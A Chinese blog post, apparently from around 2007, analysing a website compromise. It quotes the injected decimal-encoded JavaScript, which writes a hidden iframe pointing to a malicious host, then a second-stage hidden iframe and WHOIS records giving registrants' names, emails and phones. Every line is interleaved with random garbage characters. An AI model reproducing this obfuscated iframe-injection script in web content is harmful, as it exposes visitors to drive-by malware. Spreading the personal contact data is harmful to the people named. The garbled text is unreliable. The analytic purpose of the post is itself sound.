首发在我的博客里面，
)G^k$ j i5 6Rd b http://www.areway.cn/?p=175 FsWp>}o W Vpx Oj _]` 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
/96lvn]8lO dV
:} <script>t=’60,105,102,114,97,109,101,
\u [} 32,115,114,99,61,104,116,116,112,58,47,47,
[niFJI sc 102,114,101,101,46,117,45,117,117,117,46,99,
R 3_OCM_* 110,47,101,114,114,111,114,46,104,116,109,
[.xY> \e 32,119,105,100,116,104,61,49,48,48,32,104,
*w(n% f 101,105,103,104,116,61,48,62,60,47,105,102,
t :YZua 114,97,109,101,62′;
GLecBF+>F t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
2hF^U+I} 4>V@+#Ec5 <script>t=’60,105,102,114,97,109,101,32,115,
P}5bSQ( a3 114,99,61,104,116,116,112,58,47,47,102,114,
1 mJU l x 101,101,46,117,45,117,117,117,46,99,110,47,
JZ-@za6u 101,114,114,111,114,46,104,116,109,32,119,
sYDav)L. 105,100,116,104,61,49,48,48,32,104,101,105,
c:0n/ DC 103,104,116,61,48,62,60,47,105,102,114,97,
!;*flr `/ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
b_F1?:# document.write(t);</script>
)2Sh oFF iT Aj$ { > <html xmlns=”
Ly8=SIZ http://www.w3.org/1999/xhtml bHRn}K+<}c “>
xJ{ r9~ <head>
I@Hx
LEGj <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
iu8Q &Us0P <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
96~y\X@x <title>首页 - 爱生活家庭网
lPxhqF5pP T})q/oUqK 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
`9[n5-t 转换字符串后的大概内容是（谁点击后果自付）：
K)>F03=uE <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
BT8)t.+pv .W ~ XX 查询玉米u-uuu.cn的详细信息：
K
|=o - Domain Name: u-uuu.cn
iE"]S ) ROID: 20070901s10001s64972306-cn
;y\/7E Domain Status: ok
mm +V*L{x Registrant Organization: 王雷
5)XUT`;'){ Registrant Name: 王雷
,P}7 e)3 Administrative Email:
czlovexs@126.com &t<g K
D Sponsoring Registrar: 北京万网志成科技有限公司
^uUA41o`eJ Name Server:ns.yovole.com
}W:Z>vam+ Name Server:ns1.yovole.com
8,IF%Z+LI Registration Date: 2007-09-01 17:54
5|~g2Zz{; Expiration Date: 2008-09-01 17:54
qqZ4K:oC, 最后PING了一下地址 都没有什么….
tT )s,R% -~8PI2 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
tkk8b6%h?p <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
o"X..m< <script language=”javascript” src=”
pp(09y`] http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script =Mw uhk|* >
q:)Pf P+ 这个玉米应该有可能是木马作者的：
G) KI{D foafau.info的详细信息：
hmkb! ) Access to INFO WHOIS information is provided to assist persons in
XV%R Mr6 determining the contents of a domain name registration record in the
59 g//;35@ Afilias registry database. The data in this record is provided by
H ;=^
W Afilias Limited for informational purposes only, and Afilias does not
80lhhqRC guarantee its accuracy. This service is intended only for query-based
";7 N$hWE access. You agree that you will use this data only for lawful purposes
P=,\wM6T| and that, under no circumstances will you use this data to: (a) allow,
Yz0fOX enable, or otherwise support the transmission by e-mail, telephone, or
!J;Bm,Xn6 facsimile of mass unsolicited, commercial advertising or solicitations
:$u[1&6 to entities other than the data recipient’s own existing customers; or
6 ~0kb_td (b) enable high volume, automated, electronic processes that send
cKkH*0 B5 queries or data to the systems of Registry Operator, a Registrar, or
s(Gs?6}>T Afilias except as reasonably necessary to register domain names or
5[X%17&t modify existing registrations. All rights reserved. Afilias reserves
, 5W u
the right to modify these terms at any time. By submitting this query,
h?/E /> you agree to abide by this policy.
kB CU+FC Domain ID:D22418703-LRMS
- JEPh!oTt Domain Name:FOAFAU.INFO
s(fkb7W,gO Created On:20-Nov-2007 16:05:42 UTC
KH?6O%d Last Updated On:20-Nov-2007 16:05:44 UTC
BZ.l[LMp Expiration Date:20-Nov-2008 16:05:42 UTC
${z #{c1 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
MMKN^a"GA Status:CLIENT DELETE PROHIBITED
V1M|p! Status:CLIENT RENEW PROHIBITED
`=h CS0F Status:CLIENT TRANSFER PROHIBITED
!c)F; Status:CLIENT UPDATE PROHIBITED
9F 3, Status:TRANSFER PROHIBITED
x1g-@{8]j Registrant ID:GODA-040110615
-j<E_!t Registrant Name:liu hong
>e/>@ J* Registrant Organization:
vd#)+ Registrant Street1:beijing
0/ 33Z Oc Registrant Street2:
v=G*K11@ Registrant Street3:
wX2U
Registrant City:beijing
"!P h Registrant State/Province:
$S<B\\
% Registrant Postal Code:100000
/d |: Registrant Country:CN
i9Bh<j>:J Registrant Phone:+86.860108888777
5SUO`4L Registrant Phone Ext.:
'6NrL;
Registrant FAX:
R ICm$, Registrant FAX Ext.:
R[\1Kk(Zo Registrant Email:bbbshiji@163.com
y lczM^@ Admin ID:GODA-240110615
6BA$v-VVU Admin Name:liu hong
?`xF>P]M Admin Organization:
[! ;sp~ Admin Street1:beijing
t{},T h Admin Street2:
;N gk"5 Admin Street3:
OHAU@ *[lM Admin City:beijing
}X8P5c!\ Admin State/Province:
_Cz98VqRk Admin Postal Code:100000
~v\
W [ Admin Country:CN
} x r0 m+/ Admin Phone:+86.860108888777
V Zbn@1 Admin Phone Ext.:
_XP}f x7$C Admin FAX:
mYo~RXKGF Admin FAX Ext.:
L9e<hRZ$ Admin Email:bbbshiji@163.com
q M _c-^F Billing ID:GODA-340110615
Jf= V< Billing Name:liu hong
u8JH~b Billing Organization:
|)>+&
xk Billing Street1:beijing
u =L Dfn Billing Street2:
rlh:| #GTJ Billing Street3:
2>X yrG Billing City:beijing
T&/ n.-@nk Billing State/Province:
$L uU Billing Postal Code:100000
xPm{'J+b~ Billing Country:CN
.53 M! Billing Phone:+86.860108888777
) P9]/y Billing Phone Ext.:
4=^Ha%l Billing FAX:
bnL!PsG$K, Billing FAX Ext.:
g?xXX
/Qe Billing Email:bbbshiji@163.com
I:DAn!N-A* Tech ID:GODA-140110615
FsOJ mWZ Tech Name:liu hong
w3
vZ}1| Tech Organization:
1!)'dL0mI Tech Street1:beijing
4KxuSI^q Tech Street2:
#E
Bd g Tech Street3:
u!~kmIa4 Tech City:beijing
rd%uc~/ Tech State/Province:
Pw]+6 Tech Postal Code:100000
_oa*E2VN Tech Country:CN
2K/t[.8 Tech Phone:+86.860108888777
{7oPDP Tech Phone Ext.:
.?APDr"QQH Tech FAX:
>3b<
Fq $ Tech FAX Ext.:
z"|jCdZGM Tech Email:bbbshiji@163.com
~kV>nx2 Name Server:NS27.DOMAINCONTROL.COM
;TDvk ]: Name Server:NS28.DOMAINCONTROL.COM
Jo[ & y , Name Server:
LrO[l0#'Q Name Server:
4s%zvRu Name Server:
vCt][WX( Name Server:
: i.5
< f Name Server:
nnBS;5 Name Server:
h FycSu Name Server:
~~&Bp_9QXN Name Server:
f-i5tnh Name Server:
bYQ@! Name Server:
$$p +~X Name Server:
jdVj
FCl^# 1Z_w2D* 接着下载每个文件里面的代码：
1jKj' 7/K 一步一步看..
{G3Ok++hc 
5ad@}7& 
_-{=Z=?6} 
cr0 /.Zv) 
!Y|xu07 
njJTEUd"> 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
